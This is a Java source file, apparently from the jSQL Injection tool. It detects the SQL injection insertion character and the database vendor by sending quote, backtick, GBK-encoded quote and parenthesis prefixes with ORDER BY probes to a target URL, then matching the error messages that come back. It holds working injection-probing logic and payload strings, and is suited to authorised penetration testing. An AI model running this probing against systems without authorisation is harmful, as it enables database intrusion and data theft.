SuspendableGetCharInsertion.java

package com.jsql.model.suspendable;

import com.jsql.model.InjectionModel;
import com.jsql.model.bean.util.Header;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.StoppedByUserSlidingException;
import com.jsql.model.injection.strategy.blind.InjectionCharInsertion;
import com.jsql.model.injection.vendor.MediatorVendor;
import com.jsql.model.injection.vendor.model.Vendor;
import com.jsql.model.suspendable.callable.CallablePageSource;
import com.jsql.util.I18nUtil;
import com.jsql.util.LogLevelUtil;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.*;
import java.util.concurrent.CompletionService;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorCompletionService;
import java.util.concurrent.ExecutorService;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
import java.util.stream.Stream;

/**
 * Runnable class, define insertionCharacter to be used during injection,
 * i.e -1 in "[..].php?id=-1 union select[..]", sometimes it's -1, 0', 0, etc.
 * Find working insertion char when error message occurs in source.
 * Force to 1 if no insertion char works and empty value from user,
 * Force to user's value if no insertion char works,
 * Force to insertion char otherwise.
 */
public class SuspendableGetCharInsertion extends AbstractSuspendable {
    
    /**
     * Log4j logger sent to view.
     */
    private static final Logger LOGGER = LogManager.getRootLogger();

    private static final String LABEL_PREFIX = "prefix";

    public SuspendableGetCharInsertion(InjectionModel injectionModel) {
        super(injectionModel);
    }

    @Override
    public String run(Object... args) throws JSqlException {
        
        String characterInsertionByUser = (String) args[0];
        
        ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetInsertionCharacter");
        CompletionService<CallablePageSource> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);

        var charFromBooleanMatch = new String[1];
        List<String> charactersInsertion = this.initializeCallables(taskCompletionService, charFromBooleanMatch);
        
        var mediatorVendor = this.injectionModel.getMediatorVendor();

        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting database and character insertion with Order by match...");

        String charFromOrderBy = null;
        
        int total = charactersInsertion.size();
        while (0 < total) {

            if (this.isSuspended()) {
                throw new StoppedByUserSlidingException();
            }
            
            try {
                CallablePageSource currentCallable = taskCompletionService.take().get();
                total--;
                String pageSource = currentCallable.getContent();
                
                List<Vendor> vendorsOrderByMatch = this.getVendorsOrderByMatch(mediatorVendor, pageSource);
                
                if (!vendorsOrderByMatch.isEmpty()) {

                    this.setVendor(mediatorVendor, vendorsOrderByMatch);
                    
                    LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Using [{}]", mediatorVendor.getVendor());
                    var requestSetVendor = new Request();
                    requestSetVendor.setMessage(Interaction.SET_VENDOR);
                    Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
                    msgHeader.put(Header.URL, this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlByUser());
                    msgHeader.put(Header.VENDOR, mediatorVendor.getVendor());
                    requestSetVendor.setParameters(msgHeader);
                    this.injectionModel.sendToViews(requestSetVendor);
                    
                    // Char insertion
                    charFromOrderBy = currentCallable.getCharacterInsertion();
                    
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Character insertion [{}] matching with Order by and compatible with Error strategy", charFromOrderBy);
                    
                    break;
                }
            } catch (InterruptedException e) {
                
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
                Thread.currentThread().interrupt();
                
            } catch (ExecutionException e) {
                LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
            }
        }

        this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
        
        if (charFromOrderBy == null && charFromBooleanMatch[0] != null) {
            charFromOrderBy = charFromBooleanMatch[0];
        }
        
        return this.getCharacterInsertion(characterInsertionByUser, charFromOrderBy);
    }

    private void setVendor(MediatorVendor mediatorVendor, List<Vendor> vendorsOrderByMatch) {
        if (
            vendorsOrderByMatch.size() == 1
            && vendorsOrderByMatch.get(0) != mediatorVendor.getVendor()
        ) {
            mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
        } else if (vendorsOrderByMatch.size() > 1) {
            if (vendorsOrderByMatch.contains(mediatorVendor.getPostgresql())) {
                mediatorVendor.setVendor(mediatorVendor.getPostgresql());
            } else if (vendorsOrderByMatch.contains(mediatorVendor.getMysql())) {
                mediatorVendor.setVendor(mediatorVendor.getMysql());
            } else {
                mediatorVendor.setVendor(vendorsOrderByMatch.get(0));
            }
        }
    }

    private List<Vendor> getVendorsOrderByMatch(MediatorVendor mediatorVendor, String pageSource) {
        
        return mediatorVendor.getVendors()
            .stream()
            .filter(vendor -> vendor != mediatorVendor.getAuto())
            .filter(vendor -> StringUtils.isNotEmpty(
                vendor.instance()
                .getModelYaml()
                .getStrategy()
                .getConfiguration()
                .getFingerprint()
                .getOrderByErrorMessage()
            ))
            .filter(vendor -> {
                
                Optional<String> optionalOrderByErrorMatch = Stream.of(
                    vendor.instance()
                    .getModelYaml()
                    .getStrategy()
                    .getConfiguration()
                    .getFingerprint()
                    .getOrderByErrorMessage()
                    .split("[\\r\\n]+")
                )
                .filter(errorMessage ->
                    Pattern
                    .compile(".*" + errorMessage + ".*", Pattern.DOTALL)
                    .matcher(pageSource)
                    .matches()
                )
                .findAny();
                
                if (optionalOrderByErrorMatch.isPresent()) {
                    LOGGER.log(
                        LogLevelUtil.CONSOLE_SUCCESS,
                        String.format("Order by fingerprint matching vendor [%s]", vendor)
                    );
                }
                
                return optionalOrderByErrorMatch.isPresent();
            })
            .collect(Collectors.toList());
    }

    private List<String> initializeCallables(CompletionService<CallablePageSource> taskCompletionService, String[] charFromBooleanMatch) throws JSqlException {
        
        List<String> prefixValues = Arrays.asList(
            RandomStringUtils.random(10, "012"),  // to trigger probable failure
            "1"  // to trigger eventual success
        );
        
        List<String> prefixQuotes = Arrays.asList(
            LABEL_PREFIX +"'",
            LABEL_PREFIX,
            LABEL_PREFIX +"`",  // TODO add ITs
            LABEL_PREFIX +"\"",
            LABEL_PREFIX +"%bf'"  // GBK slash encoding use case
        );
        
        List<String> prefixParentheses = Arrays.asList(StringUtils.EMPTY, ")", "))");
        
        List<String> charactersInsertion = new ArrayList<>();
        
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting character insertion with Boolean match...");
        for (String prefixValue: prefixValues) {
            for (String prefixQuote: prefixQuotes) {
                for (String prefixParenthesis: prefixParentheses) {
                    this.checkInsertionChar(charFromBooleanMatch, charactersInsertion, prefixValue, prefixQuote, prefixParenthesis);
                }
            }
        }
        
        for (String characterInsertion: charactersInsertion) {
            taskCompletionService.submit(
                new CallablePageSource(
                    characterInsertion
                    + StringUtils.SPACE  // covered by cleaning
                    + this.injectionModel.getMediatorVendor().getVendor().instance().sqlOrderBy(),
                    characterInsertion,
                    this.injectionModel,
                    "prefix#orderby"
                )
            );
        }
        
        return charactersInsertion;
    }

    private void checkInsertionChar(
        String[] charFromBooleanMatch,
        List<String> charactersInsertion,
        String prefixValue,
        String prefixQuote,
        String prefixParenthesis
    ) throws StoppedByUserSlidingException {

        String characterInsertion = prefixQuote.replace(LABEL_PREFIX, prefixValue) + prefixParenthesis;
        charactersInsertion.add(characterInsertion);
        
        // Skipping Boolean match when already found
        if (charFromBooleanMatch[0] == null) {
            
            var injectionCharInsertion = new InjectionCharInsertion(
                this.injectionModel,
                characterInsertion,
                prefixQuote + prefixParenthesis
            );
            if (injectionCharInsertion.isInjectable()) {
   
                if (this.isSuspended()) {
                    throw new StoppedByUserSlidingException();
                }
                
                charFromBooleanMatch[0] = characterInsertion;
                LOGGER.log(
                    LogLevelUtil.CONSOLE_SUCCESS,
                    "Found character insertion [{}] using Boolean match",
                    () -> charFromBooleanMatch[0]
                );
            }
        }
    }
    
    private String getCharacterInsertion(String characterInsertionByUser, String characterInsertionDetected) {
        
        String characterInsertionDetectedFixed = characterInsertionDetected;
        
        if (characterInsertionDetectedFixed == null) {
            
            characterInsertionDetectedFixed = characterInsertionByUser;

            String logCharacterInsertion = characterInsertionDetectedFixed;
            LOGGER.log(
                LogLevelUtil.CONSOLE_ERROR,
                "No character insertion found, forcing to [{}]",
                () -> logCharacterInsertion.replace(InjectionModel.STAR, StringUtils.EMPTY)
            );
        } else if (!characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY).equals(characterInsertionDetectedFixed)) {
            
            String characterInsertionByUserFormat = characterInsertionByUser.replace(InjectionModel.STAR, StringUtils.EMPTY);
            LOGGER.log(
                LogLevelUtil.CONSOLE_INFORM,
                "Using [{}] and [{}]",
                () -> this.injectionModel.getMediatorVendor().getVendor(),
                () -> characterInsertionDetected
            );
            LOGGER.log(
                LogLevelUtil.CONSOLE_DEFAULT,
                "Add manually the character * like [{}*] to force the value [{}]",
                () -> characterInsertionByUserFormat,
                () -> characterInsertionByUserFormat
            );
        } else {
            LOGGER.log(
                LogLevelUtil.CONSOLE_INFORM,
                "{} [{}]",
                () -> I18nUtil.valueByKey("LOG_USING_INSERTION_CHARACTER"),
                () -> characterInsertionDetected.replace(InjectionModel.STAR, StringUtils.EMPTY)
            );
        }
        
        return characterInsertionDetectedFixed;
    }
}